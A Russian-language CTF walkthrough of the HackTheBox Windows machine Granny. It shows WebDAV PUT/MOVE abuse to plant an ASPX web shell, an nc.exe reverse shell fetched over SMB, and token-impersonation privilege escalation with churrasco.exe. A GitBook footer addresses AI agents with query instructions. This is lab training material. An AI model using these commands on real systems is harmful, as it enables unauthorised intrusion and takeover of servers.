> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md).

# Разбор Granny на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/14>" %}

{% hint style="warning" %}
**Навыки:**

* Злоупотребление методами PUT и MOVE — загрузка Aspx WebShell
* Microsoft IIS 6.0 — удалённое переполнение буфера WebDAV 'ScStoragePathFromUrl' (RCE)
* Угон токена — Churrasco (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/f70c9b87b0bb75fb61c6ddf6800ee5e0a129082c" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/2bccd252413dc0d2e8645c3d6ab662fcfb087b1d" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts
```

<figure><img src="/files/7b3ef8a7bdd97f394af6843253d5ab11b2afd4fc" alt=""><figcaption></figcaption></figure>

**Сканирование версий портов с помощью Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted
```

<figure><img src="/files/b13dcf25e83fb4a8f1e3f86dd59cfefcd72c38b5" alt=""><figcaption></figcaption></figure>

### Порт 80 - HTTP

<figure><img src="/files/57c421d2111812e2ce7b5fe25487e000b8bbebba" alt=""><figcaption></figcaption></figure>

## Уязвимость WebDAV

Порт 80 открыт, и сервер поддерживает WebDAV. Это потенциально позволяет нам загружать файлы через метод PUT и переименовывать их с помощью MOVE.

<figure><img src="/files/2b5a75296aa654c2b1a432e3b59fbe6962b7f0a7" alt=""><figcaption></figcaption></figure>

Создайте тестовый файл:

```bash
echo "this is a test" > test.txt
```

Подключитесь к серверу с помощью **cadaver** инструмента:

```bash
cadaver 10.10.10.15
```

Попробуйте загрузить файл с помощью команды PUT:

<figure><img src="/files/f2faf02be2535de119257b938125cf0de0d2c721" alt=""><figcaption></figcaption></figure>

* Результат: Успешно.

<figure><img src="/files/1bc5f6737f0daf7d77ec69506cf18c9ef05fd18e" alt="" width="563"><figcaption></figcaption></figure>

### **Загрузка Web Shell**

Скопируйте уже существующий WebShell ASPX:

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Попробуйте загрузить его напрямую:

```powershell
put aspx_cmd.aspx
```

Результат: Не удалось (сервер блокирует файлы с расширением .aspx).

<figure><img src="/files/1499aaae51e90327f597145c074502e090504077" alt="" width="563"><figcaption></figcaption></figure>

Измените расширение на **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt
```

Попробуйте загрузить файл снова:

```powershell
PUT cmd.txt
```

* Результат: Успешно.

<figure><img src="/files/37c8189373e530db426505bcf363f875925db97b" alt="" width="563"><figcaption></figcaption></figure>

#### Переименуйте файл с помощью MOVE, чтобы восстановить расширение:

```powershell
move cmd.txt cmd.aspx
```

<figure><img src="/files/57e0e1004c32589324c1c32728f9cc4d291e5a34" alt=""><figcaption></figcaption></figure>

Откройте WebShell через браузер:

<figure><img src="/files/24f2ce88b1085ef097ca1bd9cd616d735d5c7ea1" alt=""><figcaption></figcaption></figure>

### **Reverse shell через WebShell:**

Поместите исполняемый файл Netcat в текущий каталог:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Запустите SMB-сервер, чтобы расшарить файл:

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Откройте прослушивание на своей машине на порту 443:

```bash
sudo rlwrap nc -nvlp 443
```

Выполните команду reverse shell из WebShell:

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443
```

<figure><img src="/files/bec5dd09a106a7e8c94dedb84eff4c1bcdde6d97" alt=""><figcaption></figcaption></figure>

## **Повышение привилегий:**

### Эксплуатация ядра — Windows Server 2003

Используя `systeminfo` команда, мы обнаруживаем, что оборудование очень старое (Windows Server 2003):

```bash
systeminfo
```

<figure><img src="/files/7392e3b628f893c4af59607228f9cf535502bf78" alt=""><figcaption></figcaption></figure>

Также у нас есть `SeImpersonatePrivilege` привилегия, которая позволяет нам попытаться повысить привилегии.

<figure><img src="/files/1ae6414ffa260b698c25e31b720a8f2641cf1b78" alt=""><figcaption></figcaption></figure>

Чтобы обойти это ограничение, мы будем использовать **churrasco.exe** инструмент.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Передача файлов в Windows (SMB)/*/*

> Мы используем **smbserver.py** для расшаривания каталога, содержащего файл эксплойта 40627.exe. Затем этот файл копируется на целевую машину.

```bash
smbserver.py share $(pwd) -smb2support
```

С целевой машины мы скопировали вредоносный файл с помощью команды SMB:

```bash
copy //10.10.14.30/share/churrasco.exe churrasco.exe
```

Затем мы можем выполнить любую команду с помощью этого бинарного файла, например:

```powershell
./churrasco.exe "whoami"
```

<figure><img src="/files/88d4f902d963c39884adf864afd758f0eaa2cbe5" alt="" width="563"><figcaption></figcaption></figure>

**Получить reverse shell**

Чтобы получить reverse shell, мы открываем прослушивание на порту 443:

```bash
sudo rlwrap nc -nvlp 443
```

Мы заново создаём SMB-сервер с **nc.exe**:

```bash
smbserver.py share $(pwd) -smb2support
```

Наконец, мы выполняем reverse shell с помощью следующей команды:

```bash
./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443"
```

<figure><img src="/files/f4589403171cf4a219beadf5c3c1ee7df10d3ce2" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/26f45217a9c01d29e4533d4cf4519b6cce445e1a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7548625db310371fd3c42a989c76ee1705b30a8d" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
